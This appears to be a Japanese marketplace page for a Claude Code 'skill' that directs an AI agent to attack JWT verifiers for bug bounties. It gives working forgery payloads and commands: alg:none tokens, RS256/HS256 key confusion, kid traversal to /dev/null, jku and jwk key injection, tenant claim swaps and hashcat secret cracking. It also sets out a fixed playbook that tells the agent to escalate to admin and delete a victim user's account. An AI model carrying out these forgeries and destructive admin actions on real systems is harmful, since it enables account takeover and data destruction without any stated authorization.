mcpField
H
hunt-jwt-crypto

hunt-jwt-crypto

github.com/elementalsoulsセキュリティ5.3k205 回インストール今日更新
リポジトリ

hunt-jwt-crypto について

hunt-jwt-cryptoは、アルゴリズム混同、鍵の処理、クレーム改変、弱いHMACシークレットなど、JWT検証器の欠陥を調べるスキルです。偽造トークンによる別のIDでのアクセスも検証します。

主な機能

  1. 01alg:noneとRS256/HS256の混同をテスト
  2. 02kid、jku、x5u、jwkの処理を確認
  3. 03有効期限とテナントクレームの改変をテスト
  4. 04弱いHMACシークレットをオフラインで調査
  5. 05別IDでのアクセス影響を検証

活用シーン

  1. 01JWT検証器が偽造トークンを受け入れるか評価
  2. 02トークンの鍵検索と公開鍵の取得元を確認
  3. 03クレーム改変で他ユーザーやテナントのリソースにアクセスできるか検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-jwt-crypto

インストール後、Claude Code で/hunt-jwt-cryptoを入力して読み込まれたか確認します。

詳細

HUNT-JWT-CRYPTO — 偽造可能な JSON Web Token(A04 暗号化の失敗)

実際に報酬につながる攻撃

JWT は header.payload.signature の形式で、それぞれが base64url でエンコードされています。ペイロード(ユーザーの識別情報やロール)を書き換えて再利用されるのを防いでいるのは、署名だけです。検証処理をだまして偽造したトークンを受け入れさせることができれば、相手の秘密情報なしで別のユーザーや管理者になれるため、高/重大の報酬につながります。

検証処理に関する典型的で汎用的な問題が 2 つあります。

  • alg:none — 検証処理がトークン自体の alg ヘッダーを信頼しています。alg:"none" に設定し、署名を省いて、ペイロード(例:role:"admin"、別のユーザーの id/email)を書き換えます。脆弱な検証処理は署名チェックをスキップします。
  • RS256 → HS256 の鍵の混同 — トークンは RS256(非対称暗号)で署名されています。RSA の公開鍵は、その名のとおり公開されています。検証処理が HS256 を選べるようにしている場合、その公開鍵が HMAC の秘密鍵として使われます。これも攻撃者が知っている鍵です。公開鍵を使って、書き換えたペイロードに HS256 で署名すると、検証に通ります。

偵察 — このアプリは JWT を使っていますか?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

ヘッダーをデコードします(最初のセグメントを base64url でデコードします)。"alg":"RS256" の場合は鍵の混同を試します。どの alg でも、まずは必ず alg:none を試します。コストはかかりません。

トークンの偽造(base64 を手作業でエンコードせず、JWT ツールを使ってください)

エンコードと署名を正しく行うため、専用ツールを使います。jwt_tool (対話形式で改ざんするには jwt_tool <token> -T、alg:none には -X a、鍵の混同には -X k -pk public.pem)、Burp の JWT Editor 拡張機能、または数行の PyJWT が使えます。以下に示す各偽造は、手法の概要と変更するクレームです。

alg:none — 管理者/別のユーザーになる

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"[email protected]","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )

一部の検証処理は小文字の none を拒否しますが、None/NONE/nOnE は受け入れる場合があります。大文字と小文字のバリエーションを試してください。

RS256 → HS256 の鍵の混同 — RSA 公開鍵を入手した場合

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

kid ヘッダーのインジェクション — 検証処理が kid で指定されたファイルから HMAC 鍵を読み込む場合

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}

まず鍵ディレクトリから上の階層へ移動します。鍵の検索先がデータベース/シェル/URL の場合、kid には SQLi/コマンドインジェクション/SSRF を仕込むこともできます。考え方は同じです。kid は攻撃者が制御でき、危険な処理へ渡されます。

jku / x5u ヘッダーのインジェクション(RS256)— 検証処理がトークン内の URL から公開鍵を取得する場合

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

jwk ヘッダーへの自己署名鍵のインジェクション(RS256)— 攻撃者が制御する公開鍵をトークンに埋め込む場合

header:  {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
payload: {"sub":"administrator"}
signature: (sign with your matching private key)

一部の検証処理は、ヘッダー内の jwk(JSON Web Key)クレームを誤って信頼し、署名の検証に使用します。独自の RSA 鍵ペアを生成し、公開鍵をトークンヘッダーに埋め込み、秘密鍵で署名して送信します。検証処理が鍵の出所を検証せず、許可リストも適用していない場合に機能します。

有効期限/時間ベースのクレームの操作

Remove "exp" (expiration) claim entirely — many validators skip the check if absent.
Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}

上記の偽造手法(alg:none、鍵の混同、jwk インジェクション)と組み合わせると、検証処理が有効期限を厳密に適用していない場合に、時間ベースの検証を回避できます。

テナントをまたぐクレームのインジェクション — クレームの差し替えで別テナントのデータへアクセスする

Identify tenant-related claims in a decoded real token: "org_id", "tenant", "account_id",
"workspace_id", "customer_id". Edit the target claim to another tenant's value.
Example: {"sub":"[email protected]","org_id":1234} → change org_id to an admin's org (e.g. 9999).

これはクレームを介した体系的な IDOR です。認可ロジックがサーバー側で所有者を確認せず、トークンのクレームを信頼している場合、別のテナントのリソースにアクセスできます。alg:none や弱い秘密鍵を使った攻撃との組み合わせが特に有効です。

payload の形状は、アプリの実際のトークンに合わせます(最初にトークンをデコードしてください)。クレーム名は維持し、識別情報やロールだけを変更します。アプリが解析できないペイロードでは、別の理由で失敗し、試行が無駄になります。

オフライン攻撃 — 弱い HMAC 秘密鍵のクラック

トークンが HS256(HMAC ベース)で、秘密鍵が弱い場合、または既知のパスワードリストにあるパスワードが再利用されている場合:

# Hashcat: mode 16500 = JWT
hashcat -a 0 -m 16500 <jwt_file> rockyou.txt

# jwt_tool: built-in wordlist cracking
jwt_tool <token> -C -d wordlist.txt

秘密鍵をクラックできたら、その鍵を使い、jwt_tool または PyJWT で任意のトークンを HS256 により偽造できます。

自動化された攻撃

専用の JWT 攻撃スイートを使って、既知のすべての偽造手法を並行して実行します。

# jwt_tool: auto-try alg:none, key confusion, kid injection, etc.
jwt_tool <token> -X a

# Nuclei: automated JWT vuln scanning
nuclei -u <target_url> -t jwt/ -timeout 10s

JWT の偵察の早い段階で実行してください。個別の手法を手作業で組み合わせるよりも、脆弱性をすばやく見つけられることがよくあります。

ADMIN の目標を達成すること — 動作するフォージで止めない

自分の /my-account を読み込めるフォージは目標ではありません。フォージの仕組みが動作することを証明しているだけです。ほとんどの場合、目標は admin です(管理者専用ページにアクセスし、ユーザーの削除などの管理者操作を実行します)。フォージが受け入れられたら、直ちに権限を昇格させ、ID を admin に変更して、管理者用エンドポイントを狙ってください。/my-account の再フォージや再ログインを続けないでください。それは本来の目的から逸れています。

固定の権限昇格手順(順番どおりに実行し、前の手順を繰り返さないでください):

  1. admin の ID をフォージして管理者ページにアクセスします(デコードした実際のトークンに合わせて、sub、role、isAdmin、username のクレーム名を試します)。例:kid が /dev/null を指し、シークレットが空で、ペイロードが {"sub":"administrator"} の HS256 トークンを GET /admin に送信します。
  2. /admin が 200 を返したら(管理者用コントロールや削除リンクが表示されます)、同じフォージ済みトークンを使って管理者操作を実行します。一般的な操作は、対象ユーザーのアカウント削除です。例:GET /admin/delete?username=<victimuser>(アプリによっては POST /admin/delete を使用します。正確なフォームと HTTP メソッドは管理者ページで確認してください)。

/admin が 401 を返した場合、フォージまたはクレームが間違っています。1 つだけ変更して(kid の深さ、クレーム名/値、またはアルゴリズム)、再度 /admin を試してください。認証情報なしで GET /admin にアクセスしてはいけません。これは必ず 401 となり、労力の無駄になります。

影響の証明

フォージ済みトークンを保護されたエンドポイントまたは管理者用エンドポイントに送信し、本来アクセスできないデータを読み取ったことを証明してください。たとえば、アカウント/ユーザー一覧(複数ユーザーのメールアドレス)、別のユーザーのオブジェクト、または完了した管理者操作(ユーザー削除の確認)です。フォージ済みトークンを使って管理者ユーザー一覧を読み取ること、または管理者操作を実行することが、このエクスプロイトの証明になります。自分のデータしか返さない 200 や 401 は、証明になりません。

検証の手順

  • 送信したトークンをデコードし、編集したクレームが実際に含まれていることを確認します。
  • 成功の基準は 異なる ID 間でのデータアクセス であり、単に 200 が返ることではありません。レスポンスに他のユーザーのデータ(例:他のユーザーのメールアドレス)が含まれていることを示してください。
  • alg:none が拒否(401)された場合、それはその脆弱性が修正されていることを意味するだけです。アプリが安全だと結論づける前に、鍵の混同を試してください。

コメント